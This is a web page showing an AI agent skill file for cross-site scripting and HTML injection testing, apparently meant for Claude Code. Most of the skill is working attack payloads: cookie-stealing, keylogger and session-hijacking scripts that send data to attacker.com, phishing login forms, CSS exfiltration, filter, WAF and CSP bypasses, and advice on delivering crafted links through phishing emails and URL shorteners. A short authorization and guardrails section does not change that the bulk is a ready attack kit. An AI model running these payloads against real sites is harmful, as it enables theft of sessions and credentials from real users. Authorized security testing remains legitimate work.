abukreev-devabukreev-dev/claude-codeguide/skills/xss-html-injection/SKILL.md

Cross-Site Scripting and HTML Injection Testing

Skill1 starsChanged 10 months agoMITView on GitHub

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.

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2 other projects use a version of this.

Adopted by

Most recently taken up by

xfstudio/skillsword for word, first seen Oct 13, 2026
ai4brands-design/claude-skillsword for word, first seen Mar 22, 2026

Other versions2 projects use a version of this.
Word for word · 2
xfstudio/skills★ 9100% same
ai4brands-design/claude-skills★ 2100% same
Edited · 0
None found.
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
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The file

We split this skill into the rules it gives an agent

7 rules. About 0 are common, 7 are distinctive, and 0 are very specific to this project.

≈0
Common · estimate
Many files like this have a rule of this kind.
≈7
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.

Common
Distinctive
Very specific

Distinctive:
No persistence across sessions
line 96
Distinctive:
Never inject payloads that could damage production systems
line 395
Distinctive:
Avoid payloads that could spread to unintended users (worm behavior)
line 397
Distinctive:
Do not exfiltrate real user data beyond scope requirements
line 398
Distinctive:
Do not use discovered vulnerabilities for unauthorized access
line 410
Distinctive:
Result: Every user viewing the comment has their session cookie sent to attacker's server.
line 436
Distinctive:
Scenario: Search results page reflects query without encoding
line 440

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.

Files

SKILL.md

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

Target web application URL with user input fields
Burp Suite or browser developer tools for request analysis
Access to create test accounts for stored XSS testing
Browser with JavaScript console enabled

Technical Requirements

Understanding of JavaScript execution in browser context
Knowledge of HTML DOM structure and manipulation
Familiarity with HTTP request/response headers
Understanding of cookie attributes and session management

Legal Prerequisites

Written authorization for security testing
Defined scope including target domains and features
Agreement on handling of any captured session data
Incident response procedures established

Outputs / Deliverables

XSS/HTMLi vulnerability report with severity classifications
Proof-of-concept payloads demonstrating impact
Session hijacking demonstrations (controlled environment)
Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

Raw HTML reflection without encoding
Partial encoding (some characters escaped)
JavaScript execution in browser console
DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

Input persists after page refresh
Other users see injected content
Content stored in database/filesystem

Reflected XSS Indicators:

Input appears only in current response
Requires victim to click crafted URL
No persistence across sessions

DOM-Based XSS Indicators:

Input processed by client-side JavaScript
Server response doesn't contain payload
Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>

// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>

// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

<!-- Content injection -->
<h1>SITE HACKED</h1>

<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>

<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>

<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>

Stored HTML Injection

Persistent content manipulation:

<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>

<!-- Style override -->
<style>body{background:red !important;}</style>

<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">

Encoding Bypass

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Hex encoding -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

<!-- Unicode encoding -->
<script>\u0061lert(1)</script>

<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>

JavaScript Obfuscation

// String concatenation
<script>eval('al'+'ert(1)')</script>

// Template literals
<script>alert`1`</script>

// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>

// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>

// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>

Whitespace and Comment Bypass

<!-- Tab/newline insertion -->
<img src=x	onerror
=alert(1)>

<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>

<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->

Quick Reference

XSS Detection Checklist

1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential

Common XSS Payloads

Context	Payload
HTML body	`<script>alert(1)</script>`
HTML attribute	`"><script>alert(1)</script>`
JavaScript string	`';alert(1)//`
JavaScript template	`${alert(1)}`
URL attribute	`javascript:alert(1)`
CSS context	`</style><script>alert(1)</script>`
SVG context	`<svg onload=alert(1)>`

Cookie Theft Payload

<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>

Session Hijacking Template

<script>
fetch('https://attacker.com/log',{
  method:'POST',
  mode:'no-cors',
  body:JSON.stringify({
    cookies:document.cookie,
    localStorage:JSON.stringify(localStorage),
    url:location.href
  })
});
</script>

Constraints and Guardrails

Operational Boundaries

Never inject payloads that could damage production systems
Limit cookie/session capture to demonstration purposes only
Avoid payloads that could spread to unintended users (worm behavior)
Do not exfiltrate real user data beyond scope requirements

Technical Limitations

Content Security Policy (CSP) may block inline scripts
HttpOnly cookies prevent JavaScript access
SameSite cookie attributes limit cross-origin attacks
Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

Written authorization required before testing
Report critical XSS vulnerabilities immediately
Handle captured credentials per data protection agreements
Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

Troubleshooting

Issue	Solutions
Script not executing	Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled
Payload appears but doesn't execute	Break out of attribute context with `"` or `'`; check if inside comment; test different contexts
Cookies not accessible	Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode
CSP blocking payloads	Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass
WAF blocking requests	Use encoding variations; fragment payload; null bytes; case variations

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Adopted by

Most recently taken up by

Word for word · 2

Edited · 0

Wrote their own version · 0

The file

7 rules. About 0 are common, 7 are distinctive, and 0 are very specific to this project.

Cross-Site Scripting and HTML Injection Testing

Purpose

Inputs / Prerequisites

Required Access

Technical Requirements

Legal Prerequisites

Outputs / Deliverables

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Basic Detection Testing

Determine XSS Type

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Craft Persistent Payloads

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Delivery Methods

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Identify Sources

DOM XSS Payloads

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Stored HTML Injection

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

Encoding Bypass

JavaScript Obfuscation

Whitespace and Comment Bypass

Quick Reference

XSS Detection Checklist

Common XSS Payloads

Cookie Theft Payload

Session Hijacking Template

Constraints and Guardrails

Operational Boundaries

Technical Limitations

Legal and Ethical Requirements

Examples

Example 1: Stored XSS in Comment Section

Example 2: Reflected XSS via Search Parameter

Example 3: DOM-Based XSS via Hash Fragment

Example 4: CSP Bypass via JSONP Endpoint

Troubleshooting

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